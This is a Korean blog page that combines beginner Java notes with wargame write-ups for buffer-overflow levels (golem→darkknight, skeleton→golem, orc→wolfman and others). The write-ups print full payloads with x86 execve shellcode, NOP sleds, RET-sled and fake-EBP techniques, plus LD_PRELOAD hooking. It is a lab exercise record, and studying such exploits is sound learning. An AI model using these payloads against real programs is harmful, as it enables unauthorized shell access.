#Random 이용방법


import java.util.Random;

Random ran = new Random();

int a = ran.nextInt(45)+1 // ran 을 쓰면 기본 0부터 시작이다 그래서 보통은 +1 해줘서 내가 원하는 값 

Random의 중복을 제거하는 방법은 여러개가 있다. 배열을 하나 더 만들어서 값을 확인해 주는 방법도 있고, 그러지 않아도 j 변수를 이용해서 for문 안에 a[i]==a[j] 선언하고 조건이 충족하면 i--로 저장하지 않는다.

ex)

for(int i=0; i<array.length; i++) {

int x=ran.nextInt(10)+1; // 1~10까지의 값

array[i]=x;

for(int j=0; j<i; j++ ) {

if(array[i]==array[j]) {

i--;

}

}

}

# String => Int 로 형변환 Integer.parseInt(string)

int x = Integer.parseInt(args[0]);

int y = Integer.parseInt(args[1]);

주의할 점은 정수형으로 바뀌는 함수라서 문자열에 문자가 들어간 String은 바꿀수가 없다.

ex) String a ="12aa" //꼭 예외처리를 해줘야함

ex)

String a="11111";

String b="22222";

int x=Integer.parseInt(a);

int y=Integer.parseInt(b);

System.out.println(x+y);



#int => String 


int a =10;

String s = a+"";

int형인 a를 String 형인 s로 형변환 가능하다.






Java 배열

Java에서 배열은 객체이다. 그러므로 객체를 생성하여 사용하듯이 배열도 객체 생성하여 사용해야한다.


기본 선언문 

int[] su = new int[7];


1. 배열 선언 

int[] score;

int score2[];

int[] a,b;

int[] x,y[],z[]; //x 1차원 , y 2차원, z 2차원


2. 배열 생성

score = new int[3]; //배열도 객체이기 때문에 new로 생성해주고 사용한다, 생성 할때 사이즈를 줘야한다. 

2-1. 선언과 생성을 동시에    

            int score[] = {50,90,88,100,50};

 int code[]= new int[] {2,4,5,6,7}


3. 배열 사용

score[0]=123;

score[1]=300;

score[2]=789;  

//배열을 만든 후에 값을 대입하고 사용 

        

for(int i=0; i<score.length; i++) {

System.out.println(score[i]);

}

for(int i:score ) {

System.out.println(i);

}//인덱스 위치를 알기는 어렵다

보통 이렇게 많이 사용한다.


#배열의 크기 

int len=score.length; 

length 함수를 이용해서 배열의 크기를 반환 받을 수 있다.


#배열의 초기값

int codes[]= new int[1000]; // 디폴트값 0 대입 

boolean flags[] = new boolean[20]; //디폴트값 false

double points[] =new double[300]; //디폴트값 0.0

String names[] =new String[500];//참조형 타입은 기본값이 null 예외 처리를 잘 해줘야 한다. 

배열이 아닌 일반 타입들은 초기값이 없다.

System.out.println(names[567]);


#배열 전체 초기화(Arrays.fill)

import java.util.Arrays;

int codes[]= new int[1000];

Arrays.fill(codes, 1);



#args 배열 사용법

public static void main(String[] args)

실행할 때 마다 값을 다르게 하고싶을때 사용한다.

사용하는 방법


public static void main(String[] args) {

for(String a:args) {

System.out.println(a);

}

}


Run->Run Configuration -> Arguments -> 값 설정 


#배열 복사하기 - System.arraycopy()

Java의 한번 설정된 배열은 사이즈 조절이 되지 않는다.

그래서 더 큰 크기의 배열을 만들어 복사를 한다


System.arraycopy(소스배열, 시작위치, 목적배열, 시작위치, 길이)


class CopyArray{

    public static void main(String[] args){

        int[] soArray={11,22,33,44};

        int[] tarArray=new int[10];

        System.arraycopy(soArray,0,tarArray,0,soArray.length);

    }


}


'JAVA > JAVA 기본 문법' 카테고리의 다른 글

[JAVA]-Java 다차원 Array  (0) 2019.01.19
[JAVA]-Java Operation(메소드)  (0) 2019.01.19
[JAVA]-Java 반복문  (0) 2019.01.19
[JAVA]-Java 조건문  (0) 2019.01.19
[JAVA]-Java 연산자  (0) 2019.01.19

문제나 개발을 하다보면 입력 받는 개수를 모를때 계속 입력을 받는 경우가 있다


     while(true){
             int input=sc.nextInt();
             if(input!=0) {
                 System.out.println(input);
         }

         편한거 쓰면 된다.

        do {
            int input=sc.nextInt();
            System.out.println(input);
            if(input==0) {
                eq=false;
            }
        }while(eq);

그럴때 이런식으로 while() 이나 do while() 쓰면 계속해서 입력을 받을 수 있다,

Scanner 

Scanner를 사용하기 위해서는 import 를 통해서 외부 클래스를 호출

import java.util.Scanner;


다음은 Scanner 객체 생성을 해주어야 하는데

Scanner sc = new Scanner(System.in);//System.in 키보드 입력을 의미함

String name;

int Math;


name= sc.next();

Math= sc.nextInt();


이런식으로 값을 입력 받는다.


next(): 공백 이전까지의 문자열 입력받음

next + 자료형() : nextInt(), nextDouble()

nextLine(): 문자열 전체 입력 

sc.next().charAt(0);: 문자 하나 입력 받는 방법.

==, 와 equals() 의 차이점

equals 메소드는 비교하고자 하는 대상의 내용 자체를 비교하지만,

== 연산자는 비교하고자 하는 대상의 주소값을 비교함.

직관적으로 느낄 수 있는 차이는 문자열 비교할때는 equals() 메소드를 사용하다는 것이다.


        

boolean result5 = name1.equals(name3); // 사용법

boolean result6 = (name1 == name4);

        

System.out.println("equals결과 :"+result5);  // 결과 true

System.out.println("==연산결과 :"+result6);  // 결과 false


equals 메소드는 재정의 되어 논리적인 문자열 비교를 하기 때문이다. 



String 클래스 한정적으로 equals 메소드가 문자열 내용을 비교하게 재정의 되어있다.
다른 객체를 비교할때 equals 메소드를 사용하면 똑같이 주소값으로 비교하게 된다. 그래서 객체 내용을 비교하고 싶으면 다시 재정의해서 사용해야한다



Java 반복문

기존 썼던 반복문이랑 똑같이 쓰면되는데 추가된 반복문이 있다.

for -each

for(type 변수: 데이터들 ){

//반복 처리 문장

}

int sum = 0;

int su[] = {24,6,7,36,36,65,245,56,3,64};

for ( int s : su) {

        sum+=s;

}

System.out.println(sum);

맨날 forforforofoororrr만 쓰지말고 ㅠ_ㅠ 

! while 쓰는 연습좀 하자 

반복문에서 사용되는 문장들

break;

반복중인 루프를 벗어나기 위해 사용한다.


continue;

아랫부분의 문장들을 무시하고, 반복중인 루프를 계속 처리한다.


label:

//

//

break label:

다중 루프문을 처리하고 있을 경우 지정된 label의 루프를 벗어난다.




'JAVA > JAVA 기본 문법' 카테고리의 다른 글

[JAVA]-Java Operation(메소드)  (0) 2019.01.19
[JAVA]-Java 1차원 배열  (0) 2019.01.19
[JAVA]-Java 조건문  (0) 2019.01.19
[JAVA]-Java 연산자  (0) 2019.01.19
[JAVA]-Java Data Types, 형 변환  (0) 2019.01.19

조건문

기존 언어들이랑 똑같이 사용하면된다.


#새로 알게된 정보

switch, case 구문
char, byte, short, String, int 5개를 사용할 수 있다.

long형 빼고 switch ( * ) 타입이 들어갈 수 있다.

적절하게 사용하면 좋으니까 맨날 if -else if 만 죽어라 쓰지말고 좀 switch 구문이 있다는 생각좀 해..제바류ㅠ_ㅠ

SwitchTest 예시


public class SwitchTest {

    public static void main(String[] args) {
        int score =90;
        switch (score) {
        case 100:
case 98: // 이런식으로 하면 100, 98 나오면 level1
            System.out.println("leve1");
            break;
        case 90:
            System.out.println("leve2");
            break;
        case 80:
            System.out.println("leve3");
            break;
        case 70:
            System.out.println("leve4");
            break;
        default:
            System.out.println("leve5");
            break;
        }
    }
}


break 를 따로 걸어주지 않으면 계속 계속 내려간다


'JAVA > JAVA 기본 문법' 카테고리의 다른 글

[JAVA]-Java 1차원 배열  (0) 2019.01.19
[JAVA]-Java 반복문  (0) 2019.01.19
[JAVA]-Java 연산자  (0) 2019.01.19
[JAVA]-Java Data Types, 형 변환  (0) 2019.01.19
[JAVA]-java 특징, 설치, 이클립스 단축기 소개  (0) 2019.01.19

JAVA 연산자

보통 쓰는 언어랑 똑같이 쓰면 된다.

쓸수있을때 쓰면 편한 연산자 중에 삼항 연산자가 있다.(알고 있는데 막상 쓸려면 손이 잘 안가는 문법 )

필요할땐 좀 쓰자ㅏㅏ!

?: -> 삼항 연산자

int max = (x>y)?x:y;

x>y 가 참이면 x 거짓이면 y가 출력된다.


tip)

&&,& 차이점

&&쓰면 앞에 부분을 확인하고 이미 조건이 채워지면 뒷부분을 생략하기 때문에 속도가 빠르다!


tip)

출력할때 앞쪽에 문자열이 나오면 뒷쪽도 자동으로 문자열로 바뀐다. 그래서 int형을 String 형으로 바꾸고 싶으면 간단하게 

int a=1;

String =a+""; 이런식으로 뒤에 문자열 붙여주면 자동으로 형 변환 된다.

int x =10, y=3;

출력할때 13 으로 계산하고 싶으면

System.out.println("result="+ (x + y) );

이런식으로 한번 묶어주던가 한번 변수값으로 저장한 뒤에 출력시켜주면 원하는 결과를 얻을 수 있다. 








'JAVA > JAVA 기본 문법' 카테고리의 다른 글

[JAVA]-Java 1차원 배열  (0) 2019.01.19
[JAVA]-Java 반복문  (0) 2019.01.19
[JAVA]-Java 조건문  (0) 2019.01.19
[JAVA]-Java Data Types, 형 변환  (0) 2019.01.19
[JAVA]-java 특징, 설치, 이클립스 단축기 소개  (0) 2019.01.19

자바 기본 특징

대소문자를 구분한다.

Java KeyWord : 예약어로 식별자에 이름을 붙이지 못한다.  이클립스에서는 자주색으로 바뀜

클래스 작성시 관습적으로 지켜지는 식별자를 명명하는 방법이 정해져잇다 보통 약속이기 때문에 많이 따르는데

  • class 이름은 첫글자를 대문자로 시작하고, 나머지 글자를 소문자로 명명한다.
  • method 이름은 모두 소문자로 한다.
  • variable 이름도 모두 소문자로 한다.
  • constant 이름은 모두 대문자로 한다.
Java Data Types

기본형:기본적(일반적)인 값을 기억하는 변수의 type

숫자

  • 정수형:byte(1), short(2), int(4), long(8),char(2)
  • 실수형:float(4), double(8)

논리:boolean (참,거짓)

보통 프로그래밍 할때는 int, double  많이 쓴다. 

char:글자한개 저장이 목표

참조형

class, interface, array, enum...

java는 선언과 동시에 각 타입에 맞는 default 값이 들어간다. 

배열의 경우에는 각 배열이 0으로 채워지고 boolean은 false 값이 들어가있다.


형변환(Casting) 

byte < short < int < long < float< double (*float가 long 보다 저장하는 범위가 많아서 크다. 

큰 변수에 작은 변수를 넣는건 자동으로 형 변환이 된다, 또 정수형은 실수형으로 자동형변환 된다,

ex)

long var =100;

flat fvar = var;

int kvar ='A'; (O) //이럼 'A' 글자의 아스키 코드 (65) int 타입으로 출력된다.


작은 변수형에 큰 변수형을 넣는건 불가능하다, 또 실수형이 정수형으로 타입을 변경할 경우에는 형변환이 필요하다.

float favr =100;

long var=(long)favr; 

작은 변수(long)에 큰 변수형(float)를 넣을 경우에 형변환을 해주어야한다.

그래서 형변환을 해주던가 아예 변수 선언을 다시해준다.


ex)

byte b =120;

b=b+1; 

Type mismatch 오류가 난다.

이유는 

자바에서 정수리터럴을 사용해서 연살할때 그 값은 4byte에 저장된다.

1은 4byte에 저장이 되는 정수리터럴이고 b는 1바이트만 사용하는 변수인데 이를 1바이트에 저장하니까 오류가 난다 

byte b =120;
int b2=b+1;

이런 식으로 int 타입으로 크게 바꿔주거나

byte b =120;
b=(byte)(b+1);

계산 결과 값을 다시 byte 타입으로 형변환 시켜준다.

보통 이런 상황을 피하고자 int, double 타입을 많이 사용한다.


byte b1 =10;
byte b2 =20;
byte b3 =(byte)(10+20);
        
long i = 100L;
int j =(int)i;
float f =3.1415924168f;
double d=3.1415924168;
char c ='A';
String cc ="AB";
int k =66;
char ccc=(char)k;
boolean boo = true;
boolean bool = false;
     
System.out.println(b2+"."+b3);
System.out.println(i+"."+j);
System.out.println(f+"."+d);
System.out.println(c+"."+cc);
System.out.println(k+"."+ccc);
System.out.println(boo+"."+bool);


결과값:

20.30

100.100

3.1415925.3.1415924168 //float 형보다 double 형이 더 많이 나온다 

A.AB

66.B // int 형 k 를 char로 형변환 시켜줘서 66의 아스키 값인 B가 나온다.

true.false


'JAVA > JAVA 기본 문법' 카테고리의 다른 글

[JAVA]-Java 1차원 배열  (0) 2019.01.19
[JAVA]-Java 반복문  (0) 2019.01.19
[JAVA]-Java 조건문  (0) 2019.01.19
[JAVA]-Java 연산자  (0) 2019.01.19
[JAVA]-java 특징, 설치, 이클립스 단축기 소개  (0) 2019.01.19

Java 대표적인 특징


1. 객체 지향 언어 - 객체를 이용해 모아모아서 하나의 완성된 프로그램을 완성 !

  • 클래스 단위의 부품 
  • #추상화
  • #캡슐화
  • #상속
  • #다형성


2. 플랫폼이 독립적

HelloTest.java(소스코드) => Compile(javac) => HelloTest.class(실행파일) => Execute(java) => JVM

플랫폼이 linux, Mac, window 다양한데 자바 실행 파일(.class) 이 모두 돌아가는 이유는 JVM 때문이다.

이런 이유로 C 보다 속도가 느리다.

쉽게 설명하면

Java로 작성된 응용프로그램은 JVM 위에서 작동되어 지기 때문에 

Java의 컴파일 코드는 플랫폼이 이해하는 코드로 번역되는 것이 아니고 JVM이 해석 가능하도록 번역된다. 

그렇기 때문에 어떤 HW라도 JVM만 설치되면 Java로 작성된 응용프로그램은 실행이 가능한 플랫폼에 독립적인 구조이다.


+

  • 메모리 관리가 쉽다 
  • 분산 프로그래밍 지원
  • 멀티 스레드 


3. 보통 개발 도구는 이클립스를 많이 사용하는데 .


도움이 되는 단축기 정리를 해보자면 

  • // : 한줄 주석
  • /* */ : 여러줄 주석
  • ctrl + shift + /:여러줄 주석
  • ctrl + / :여러줄 주석
  • alt + 방향키 : 줄이동
  • sysout+ctrl+space:자동완성
  • main+ctrl+space:main메서드 자동완성 
  • ctrl+F11 :실행
  • ctrl+M :전체 화면 
  • ctrl+D :줄 삭제
  • ctrl + alt :줄 복사
  • 네이게이션 단축기: ctrl +마우스 클릭, F3, 클래스/메서드/변수의 선언된 곳으로 화면 이동 
  •                        : Alt+ 왼쪽/오른쪽 방향키: 이전/이후 화면으로 이동 


'JAVA > JAVA 기본 문법' 카테고리의 다른 글

[JAVA]-Java 1차원 배열  (0) 2019.01.19
[JAVA]-Java 반복문  (0) 2019.01.19
[JAVA]-Java 조건문  (0) 2019.01.19
[JAVA]-Java 연산자  (0) 2019.01.19
[JAVA]-Java Data Types, 형 변환  (0) 2019.01.19


- ret값에 스택과 라이브러리 둘다 넣지 못하게 되어있다. 하지만 방법은 있다!


* RET Sled

- 정상적인 ret에 명령어의 주소 &ret을 넣어주면 pop eip, jmp eip를 통해 ebp+8에 ret값을 사용할 수 있다.

leave

-mov esp, ebp
-pop ebp

ret
-pop eip


$(python -c 'print "A"*44+"\x1e\x85\x04\x08"+"\xe8\xfa\xff\xbf"+"\x90"*1000+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"')

eip 에 &ret 주소를 넣어 주고 ebp+8 이 ret 이 되니까 여기 쉘코드 시작주소를 넣어주면 된다.










'WARGAME > BOF' 카테고리의 다른 글

[BOF] golem->darkknight  (0) 2018.02.20
[BOF] skeleton->golem  (0) 2018.02.20
[BOF] vampire->skeleton  (0) 2018.02.20
[BOF] orge->vampire  (0) 2018.02.20
[BOF] orge->troll  (0) 2018.02.20

* Darkknight

- 조건은 argument가 2개 이상이면 된다. problem_child함수에서 strcpy함수를 사용하니 problem_child함수에서 버퍼 오버플로우가 발생하도록 하면 될 것 같다. 하지만 buffer에는 41바이트만 삽입되는데 ret값까지 덮어씌울 수 없을것 같다.



-FPO(Frame Pointer Overflow)

-frame pointer : saved ebp

- Fake EBP

에필로그가 무조건 2번 수행되야 의미가 있어진다 Fake ebp가 

그래서 void problem_child(char *src) 함수가 필요하다 여기서 에필로그가 실행되고 메인에서도 에필로그가 하나 실행되니까

2번 수행된다

-EBP의 값이 변조되면 EIP값이 변조된다. 

-ESP레지스터를 옮김

-단 함수 에필로그가 두번 실행되어야한다.


[ebp+4]=saved eip 개념을 꼭 알아야한다.  에필로그가 실행되니까 이렇게 생각할 수 있다.

leave

-mov esp, ebp

-pop ebp


ret

-pop eip


call

-push eip

-jmp address



main 함수는 오버플로우가 발생하지 않으니 볼게 없고 promblem_child  함수를 확인해 보면

r $(python -c 'print "A"*40+"BBBB"+"CCCC"')

딱 41 바이트만 복사되는걸 확인할 수 있다. 


이제 fake ebp 를 이용해서 ebp를 변조 해야하는데


(gdb) x/24x $ebp-40

0xbffffa94: 0x41414141 0x41414141 0x41414141 0x41414141

0xbffffaa4: 0x41414141 0x41414141 0x41414141 0x41414141

0xbffffab4: 0x41414141 0x41414141 0xbffffa94(ebp) 0x0804849e(saved eip)

0xbffffac4: 0xbffffc2d         0xbffffae8         0x400309cb 0x00000002

0xbffffad4: 0xbffffb14         0xbffffb20         0x40013868 0x00000002

0xbffffae4: 0x08048390 0x00000000 0x080483b1 0x0804846c


promblem_child  함수에서 에필로그가 실행되게 되면 

leave

-mov  esp, ebp

-pop ebp

ebp의 위치가 esp로 변경되고 ebp가 pop된다. 

이러면 ebp 는 0xbffffa94 여기를 가리킬꺼고 esp는 0x0804849e(saved eip) 이쪽으로 오고 아무런 조작없이 함수의 오류로 실행이 종료 될것인데,

main 함수에서 에필로그가 한번더 실행되게 되면 

leave

-mov  esp, ebp

-pop ebp

지금 ebp의 위치가 esp가 될꺼고 ebp를 pop 하게되면


(gdb) x/24x $ebp-40

0xbffffa94: 0x41414141(esp) 0x41414141(ret) 0x41414141 0x41414141

0xbffffaa4: 0x41414141 0x41414141 0x41414141 0x41414141

0xbffffab4: 0x41414141 0x41414141 0xbffffa94(ebp) 0x0804849e(saved eip)

0xbffffac4: 0xbffffc2d         0xbffffae8         0x400309cb 0x00000002

0xbffffad4: 0xbffffb14         0xbffffb20         0x40013868 0x00000002

0xbffffae4: 0x08048390 0x00000000 0x080483b1 0x0804846c


ret

-pop eip


지금 ret으로 표시된 곳이 최종으로 saved eip가 실행되는 값으로 바뀔것이다 


그니까 에필로그가 총 2번 실행되어야 조작이 가능하다


이런 원리로 문제를 풀어보면

fake ebp값을 4바이트 넣어주고 ret 주소 (쉘코드 시작 주소 ) +쉘코드 +ebp주소 (fake ebp 를 가리키는 )

로 페이로드를 작성하면 문제가 쉽게 풀린다.

./darkknight $(python -c 'print "A"*4+"BBBB"+"\x90"*7+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"+"\x34"')





'WARGAME > BOF' 카테고리의 다른 글

[BOF] Giant->assassin  (0) 2018.02.20
[BOF] skeleton->golem  (0) 2018.02.20
[BOF] vampire->skeleton  (0) 2018.02.20
[BOF] orge->vampire  (0) 2018.02.20
[BOF] orge->troll  (0) 2018.02.20


-위 코드는 buffer, buffer이후 메모리를 모두 초기화 하는 것을 확인할 수 있다.

이때 사용하는 방식이 함수 후킹이다


1.함수 후킹(hooking)


현재 아이디

[skeleton@localhost skeleton]$ id

uid=510(skeleton) gid=510(skeleton) groups=510(skeleton)



hook.c


#include <stdio.h>


int main()

{



        int uid;

        int euid;


        uid = getuid();

        euid= geteuid();


        printf("uid:%d, euid:%d\n",uid,euid);

        return 0;

}




man 2 geteuid

SYNOPSIS

       #include <unistd.h>

       #include <sys/types.h>


       uid_t getuid(void);

       uid_t geteuid(void);



라이브러리 형태로 만들어 줘야한다


#include <unistd.h>

#include <sys/types.h>


uid_t geteuid(void)

{

        return 520;

}


 [skeleton@localhost skeleton]$ gcc -o hook.so -fPIC --shared hook1.c

[skeleton@localhost skeleton]$ ls

golem  golem.c  hook  hook.c  hook1.c  hook1.so


[skeleton@localhost skeleton]$ export LD_PRELOAD=/home/skeleton/hook1.so

환경 변수를 올릴때는 무조건 절대경로를 이용해야한다.


[skeleton@localhost skeleton]$ my-pass

euid = 520

got the life


후킹을 하고자 하는 함수를 만들어 놓고 LD_PRELOAD에 올려 놓으면 다른 함수보다 먼저 참조가

되기 때문에 내가 원하는 값을 가지고 올 수 있다.


1. 우선 so파일을 아무거나 하나 생성한다 hook.so <-이유는 LD_PRELOAD 에는 so파일 만 올라갈수 있기 때문에 so를 만들어야한다.



2. so파일이 만들어지면 cp를 이용해서 파일 이름을 쉘코드가 들어간 이름으로 바꿔준다




3. 그리고 export를 통해서 LD_PRELOAD에 쉘코드가 들이간 이름을 올려준다. 




4. gdb로 $ebp-3000정도로  LD_PRELOAD 위치를 찾아서 올려준다!



값이 떨어진걸 확인할 수 있다.



'WARGAME > BOF' 카테고리의 다른 글

[BOF] Giant->assassin  (0) 2018.02.20
[BOF] golem->darkknight  (0) 2018.02.20
[BOF] vampire->skeleton  (0) 2018.02.20
[BOF] orge->vampire  (0) 2018.02.20
[BOF] orge->troll  (0) 2018.02.20


'WARGAME > BOF' 카테고리의 다른 글

[BOF] golem->darkknight  (0) 2018.02.20
[BOF] skeleton->golem  (0) 2018.02.20
[BOF] orge->vampire  (0) 2018.02.20
[BOF] orge->troll  (0) 2018.02.20
[BOF] darkelf->orge  (0) 2018.02.19


'WARGAME > BOF' 카테고리의 다른 글

[BOF] skeleton->golem  (0) 2018.02.20
[BOF] vampire->skeleton  (0) 2018.02.20
[BOF] orge->troll  (0) 2018.02.20
[BOF] darkelf->orge  (0) 2018.02.19
[BOF] wolfman->darkelf  (0) 2018.02.08

troll 문제를 살펴보면



이전 문제랑 달라진 점은 인자가 반드시 2개 만 사용되어야 한다


argv[0] 을 체크하는 코드가 없으니 argv[0]을 이용해보면






'WARGAME > BOF' 카테고리의 다른 글

[BOF] vampire->skeleton  (0) 2018.02.20
[BOF] orge->vampire  (0) 2018.02.20
[BOF] darkelf->orge  (0) 2018.02.19
[BOF] wolfman->darkelf  (0) 2018.02.08
[BOF] Orc->wolfman  (0) 2018.02.08

darkelf 문제를 확인해 보면 

전과 같은 비슷한 문제인데 사용할 수 있는 스택에 메모리는 argv[0]번 뿐이다.


'WARGAME > BOF' 카테고리의 다른 글

[BOF] orge->vampire  (0) 2018.02.20
[BOF] orge->troll  (0) 2018.02.20
[BOF] wolfman->darkelf  (0) 2018.02.08
[BOF] Orc->wolfman  (0) 2018.02.08
[BOF] Goblin-> orc  (0) 2018.02.08

darkelf 문제이다 


argv[1]  길이의 값을 48보다 작게 하라는건 


$(python -c 'print "A"*44+"\xea\xfb\xff\xbf"') 

첫번째 argv[1] 의 길이는 buffer 를 채울 44바이트 + eip 주소를 나타낼수있는 4바이트가 최대 설정 범위라는 소리이다

이제 쓸수 있는 주소를 찾아야하는데 argv[2]가 아직 살아있으니 argv[2] 에 쉘코드를 올리고 사용할 수 있다.

$(python -c 'print "\x90"*1000+"\x31\xc0\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x52\x8d\x5c\x24\x04\x53\xb0\x0b\x8d\x0c\x24\xcd\x80"')

인자를 3개 이상 줄 경우에는 16바이트씩 교정하는 과정이 힘들기 때문에 nop코드를 많이 넣어서 풀어야한다.

gdb에서 확인하면 


2번째 인자인 0xbffff84a 의 값을 확인하면



nop 사이에 쉘코드가 올라간걸 확인 할 수있다 적당한 주소를 잡아서 eip에 올려주면 값이 출력된다










'WARGAME > BOF' 카테고리의 다른 글

[BOF] orge->troll  (0) 2018.02.20
[BOF] darkelf->orge  (0) 2018.02.19
[BOF] Orc->wolfman  (0) 2018.02.08
[BOF] Goblin-> orc  (0) 2018.02.08
[BOF] cobolt-> Goblin  (0) 2018.02.08

wolfman 문제

Orc 문제랑 별 차이가 없어 보인다 memset 함수로 버퍼 값을 다 0으로 만들어 주는거 같은데 어짜피 argv[] 함수 뒤에 메모리 공간을 이용해 버리면

아까와 같은 문제 같다


gdb로 확인해 보면

0xbffffac0 부터 쉘이 올라가니까 eip 주소를 여기로 설정하고 쉘을 올리면 될꺼 같다

쉘이 올라간걸 확인 할 수있다

eip에 쉘 시작 주소를 대입해주면 쉘 권한이 획득 된다.



$(python -c 'print "A"* 44+"\xc0\xfa\xff\xbf"+"\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x52\x8d\x5c\x24\x04\x53\xb0\x0b\x8b\x1c\x24\x8d\x0c\x24\xcd\x80"')







'WARGAME > BOF' 카테고리의 다른 글

[BOF] darkelf->orge  (0) 2018.02.19
[BOF] wolfman->darkelf  (0) 2018.02.08
[BOF] Goblin-> orc  (0) 2018.02.08
[BOF] cobolt-> Goblin  (0) 2018.02.08
[BOF] gremlin-> cobolt  (0) 2018.02.08

+ Recent posts